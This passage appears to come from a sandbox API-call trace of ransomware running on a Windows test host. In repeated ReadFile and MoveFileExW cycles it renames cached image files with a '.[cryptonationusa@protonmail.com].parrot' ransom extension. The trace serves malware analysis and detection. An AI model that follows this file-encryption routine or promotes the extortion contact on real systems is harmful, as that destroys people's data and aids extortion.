out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0xa7b, lpOverlapped=0x0) returned 1 [0081.867] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0081.867] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.867] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0081.867] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0081.867] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[2].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0mkg[2].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[2].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0mkg[2].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0081.870] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.870] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0081.872] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.872] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x17af, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x17af, lpOverlapped=0x0) returned 1 [0081.873] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0081.873] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.873] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0081.873] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0081.873] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0oQi[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0oqi[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0oQi[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0oqi[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0081.876] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.876] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0081.909] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.909] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xaf3, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0xaf3, lpOverlapped=0x0) returned 1 [0081.909] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0081.909] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.909] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0081.909] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0081.910] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0tCi[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0tci[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0tCi[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0tci[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0081.913] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.913] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0081.915] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.916] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x350a, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x350a, lpOverlapped=0x0) returned 1 [0081.916] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0081.917] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.917] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0081.917] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0081.917] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBCM2U2[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbcm2u2[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBCM2U2[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbcm2u2[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0081.920] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.920] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0081.921] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.921] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x68c, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x68c, lpOverlapped=0x0) returned 1 [0081.921] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0081.922] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.922] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0081.922] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0081.922] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDGTbx[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbdgtbx[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDGTbx[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbdgtbx[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0081.925] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.925] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0081.926] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.926] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x284, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x284, lpOverlapped=0x0) returned 1 [0081.926] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0081.927] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.927] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0081.927] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0081.927] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDk44m[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbdk44m[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDk44m[1].png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbdk44m[1].png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0081.929] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.930] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0081.931] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.931] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2d04, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x2d04, lpOverlapped=0x0) returned 1 [0081.932] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0081.932] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.932] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0081.932] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0081.932] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDWXoC[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbdwxoc[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDWXoC[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbdwxoc[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0081.935] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.935] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0081.937] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.937] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x863, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x863, lpOverlapped=0x0) returned 1 [0081.937] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0081.937] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.937] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0081.937] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0081.937] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE3NcH[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbe3nch[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE3NcH[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbe3nch[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0081.941] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.941] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0081.943] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.943] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2b5, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x2b5, lpOverlapped=0x0) returned 1 [0081.943] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0081.943] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.943] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0081.943] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0081.946] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE7GLE[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbe7gle[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE7GLE[1].png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbe7gle[1].png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0081.949] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.949] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0081.951] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.951] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1c9b, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x1c9b, lpOverlapped=0x0) returned 1 [0081.953] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0081.953] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.953] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0081.953] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0081.954] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE8aLO[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbe8alo[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE8aLO[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbe8alo[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0081.956] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.956] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0081.959] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.959] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x702, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x702, lpOverlapped=0x0) returned 1 [0081.959] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0081.959] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.959] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0081.959] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0081.959] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEd5bF[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbed5bf[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEd5bF[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbed5bf[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0081.963] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.963] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0081.964] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.964] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xaca8, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0xaca8, lpOverlapped=0x0) returned 1 [0081.965] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0081.967] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.967] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0081.967] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0081.968] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdDNm[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbeddnm[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdDNm[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbeddnm[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0081.971] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.971] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0081.972] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.972] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x755, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x755, lpOverlapped=0x0) returned 1 [0081.972] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0081.972] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.972] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0081.973] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0081.973] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdpyr[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbedpyr[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdpyr[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js 